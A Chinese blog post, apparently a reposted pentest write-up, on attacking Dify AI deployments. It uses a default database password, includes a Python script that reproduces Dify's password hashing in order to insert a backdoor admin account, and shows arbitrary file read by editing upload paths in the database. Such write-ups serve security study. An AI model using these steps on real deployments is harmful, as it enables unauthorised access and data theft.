首页 > 教程攻略 > ai资讯 >关于一次dify的渗透

关于一次dify的渗透

来源:互联网 时间:2026-07-21 13:53:28

深入探索difyAI的渗透测试过程,揭示数据库和Web安全漏洞

最近difyAI在GitHub上热度很高,刚好工作中碰到了,就顺手记录一下实际操作中的发现和思考。

数据库权限入口

dify的账号密码是初始化登录时设置的,所以暂时不考虑账号弱口令问题。但值得关注的是,dify启动过程中会默认开启psql和redis服务,而默认密码是

difyai123456

。下面这张截图展示了具体的配置信息。

重点在于:既然拿到了默认密码,就可以尝试直接连接这些服务。psql权限可以执行系统命令,这已经不是什么新鲜话题了。不过环境是一个Docker容器,权限有限,能利用的操作空间并不大。

获取后台权限

拿到数据库只是第一步,真正的目标是dify Web应用的数据或权限。所以,还是要回归到Web端来寻找突破口。

浏览dify的源代码会发现,既然已经获取了数据库权限,完全可以通过数据库新增一个账号来进入后台。源代码如下,密码的生成规则如下所示。

import secrets
import base64
import hashlib
import binascii
import uuid

# 生成16字节的盐值
def generate_salt():
    return secrets.token_bytes(16)

# 对密码进行哈希处理,返回加密后的密文
def hash_password(password_str, salt_byte):
    dk = hashlib.pbkdf2_hmac("sha256", password_str.encode("utf-8"), salt_byte, 10000)
    return binascii.hexlify(dk)

# 对结果进行base64编码
def encode_base64(data):
    return base64.b64encode(data).decode()

# 密码加密和存储的主过程
def encrypt_password(new_password):
    # 生成盐值
    salt = generate_salt()
    # 密码哈希加密
    password_hashed = hash_password(new_password, salt)
    # 编码密码和盐值为base64格式
    base64_password_hashed = encode_base64(password_hashed)
    base64_salt = encode_base64(salt)
    return base64_password_hashed, base64_salt

# 模拟账户类
class Account:
    def __init__(self, password, salt):
        self.password = password
        self.password_salt = salt

# 测试用例,设置密码
new_password = "Dasiwoba1"  # 这里替换为你的密码

# 获取加密后的密码和盐值
encrypted_password, encrypted_salt = encrypt_password(new_password)

# 创建账户对象,并存储加密信息
account = Account(encrypted_password, encrypted_salt)

# 输出加密结果
print(uuid.uuid4())
print("Encrypted Password (Base64):", account.password)
print("Salt (Base64):", account.password_salt)

生成账号后,就可以用它登录后台了。在accounts表中,邮箱可以自定义。

这里有两个坑需要注意:

  • 密码必须符合上述代码中的生成规则,否则直接不通过。
  • 新注册的用户没有workplace,导致无法登录。从代码来看,需要用同样的方法插入一条数据。由于涉及join关系,需要插入三个表。

完成这一步后,就可以顺利进入后台了。

后台登录成功截图

任意文件读取

进入后台后,并没有仔细阅读所有代码。简单在GitHub上搜索了一下,也没有发现特别严重的漏洞。但查看数据库数据时,upload_files表引起了我的注意。这里的key是一个绝对路径。

数据库中的文件路径示例

分析代码和功能点花了些时间——主要是UUID看起来不太直观。直接说结论:上传文件时,系统先将文件保存到本地,再读取本地文件内容,最后重新保存到数据库中。既然现在已经拥有数据库权限,就可以通过修改数据库里的文件地址来读取任意文件,从而实现任意文件读取。

做个演示:进入知识库 → 新建知识库,这里会上传文件并保存到数据库。

然后在数据库的upload_file表中,将文件路径修改为需要读取的目标文件。

点击上一步再继续,或者直接重放数据包,都可以触发读取。效果如下,成功实现了任意文件读取。

关于shell的问题:目前碰到的环境基本是Docker,信息太有限了,而且只有文件读取这一个突破口,暂时没有其他更好的思路。代码也没有时间全部看一遍,不知道是否存在其他可利用的点。这里权当抛砖引玉,供大家参考。